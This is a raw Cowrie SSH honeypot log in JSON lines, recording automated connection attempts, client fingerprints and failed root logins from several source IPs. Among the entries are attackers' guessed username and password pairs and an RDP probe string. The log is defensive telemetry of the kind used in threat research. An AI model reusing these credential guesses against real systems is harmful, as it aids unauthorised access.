{"eventid":"cowrie.login.failed","username":"telnet","password":"abc1234","message":"login attempt [telnet/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:10.657131Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:11.789859Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52521,"dst_ip":"10.17.0.5","dst_port":22,"session":"16481ae5990c","protocol":"ssh","message":"New connection: 152.42.212.128:52521 (10.17.0.5:22) [session: 16481ae5990c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.150990Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.157054Z","src_ip":"152.42.212.128","session":"16481ae5990c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.162952Z","src_ip":"152.42.212.128","session":"16481ae5990c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":54322,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba85a7ed5a9a","protocol":"ssh","message":"New connection: 43.134.1.45:54322 (10.17.0.5:22) [session: ba85a7ed5a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.491520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.496932Z","src_ip":"43.134.1.45","session":"ba85a7ed5a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.743211Z","src_ip":"43.134.1.45","session":"ba85a7ed5a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":44682,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91e6f4388c0","protocol":"ssh","message":"New connection: 209.99.190.200:44682 (10.17.0.5:22) [session: c91e6f4388c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.815800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.820952Z","src_ip":"209.99.190.200","session":"c91e6f4388c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:15.917138Z","src_ip":"209.99.190.200","session":"c91e6f4388c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luca123","message":"login attempt [root/luca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:16.334277Z","src_ip":"209.99.190.200","session":"c91e6f4388c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"group4","message":"login attempt [root/group4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:16.756982Z","src_ip":"43.134.1.45","session":"ba85a7ed5a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:17.433926Z","src_ip":"209.99.190.200","session":"c91e6f4388c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:18.006198Z","src_ip":"43.134.1.45","session":"ba85a7ed5a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":54660,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef14746f31c3","protocol":"ssh","message":"New connection: 20.203.59.187:54660 (10.17.0.5:22) [session: ef14746f31c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:23.267411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:23.272860Z","src_ip":"20.203.59.187","session":"ef14746f31c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:23.429633Z","src_ip":"20.203.59.187","session":"ef14746f31c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:24.086406Z","src_ip":"20.203.59.187","session":"ef14746f31c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18410,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be5088536b8","protocol":"ssh","message":"New connection: 194.59.206.2:18410 (10.17.0.5:22) [session: 3be5088536b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:24.602944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:24.607980Z","src_ip":"194.59.206.2","session":"3be5088536b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:24.699253Z","src_ip":"194.59.206.2","session":"3be5088536b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:24.795967Z","src_ip":"194.59.206.2","session":"3be5088536b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:25.246287Z","src_ip":"20.203.59.187","session":"ef14746f31c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":42232,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c1a62c82094","protocol":"ssh","message":"New connection: 171.244.37.97:42232 (159.203.135.109:22) [session: 1c1a62c82094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:26.818966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:26.826572Z","src_ip":"171.244.37.97","session":"1c1a62c82094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:27.078483Z","src_ip":"171.244.37.97","session":"1c1a62c82094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha123","message":"login attempt [root/alpha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:28.118549Z","src_ip":"171.244.37.97","session":"1c1a62c82094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:29.374643Z","src_ip":"171.244.37.97","session":"1c1a62c82094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":60344,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa7b34f69663","protocol":"ssh","message":"New connection: 43.163.81.22:60344 (159.203.135.109:22) [session: fa7b34f69663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:37.280440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:37.285188Z","src_ip":"43.163.81.22","session":"fa7b34f69663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:37.515434Z","src_ip":"43.163.81.22","session":"fa7b34f69663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":36534,"dst_ip":"10.17.0.5","dst_port":22,"session":"9840ac357434","protocol":"ssh","message":"New connection: 43.128.112.183:36534 (10.17.0.5:22) [session: 9840ac357434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:38.321037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:38.326133Z","src_ip":"43.128.112.183","session":"9840ac357434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orangepi","message":"login attempt [root/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:38.465351Z","src_ip":"43.163.81.22","session":"fa7b34f69663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:38.571691Z","src_ip":"43.128.112.183","session":"9840ac357434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234","message":"login attempt [root/admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:39.582209Z","src_ip":"43.128.112.183","session":"9840ac357434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:39.701776Z","src_ip":"43.163.81.22","session":"fa7b34f69663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:40.830603Z","src_ip":"43.128.112.183","session":"9840ac357434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":44418,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c19af8fdaf6","protocol":"ssh","message":"New connection: 147.45.197.250:44418 (159.203.135.109:22) [session: 5c19af8fdaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:41.120722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:41.124840Z","src_ip":"147.45.197.250","session":"5c19af8fdaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:41.214724Z","src_ip":"147.45.197.250","session":"5c19af8fdaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"regina","message":"login attempt [root/regina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:41.483705Z","src_ip":"147.45.197.250","session":"5c19af8fdaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:42.576835Z","src_ip":"147.45.197.250","session":"5c19af8fdaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49070,"dst_ip":"10.17.0.5","dst_port":22,"session":"364cdac1285f","protocol":"ssh","message":"New connection: 87.251.64.176:49070 (10.17.0.5:22) [session: 364cdac1285f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.117475Z"}
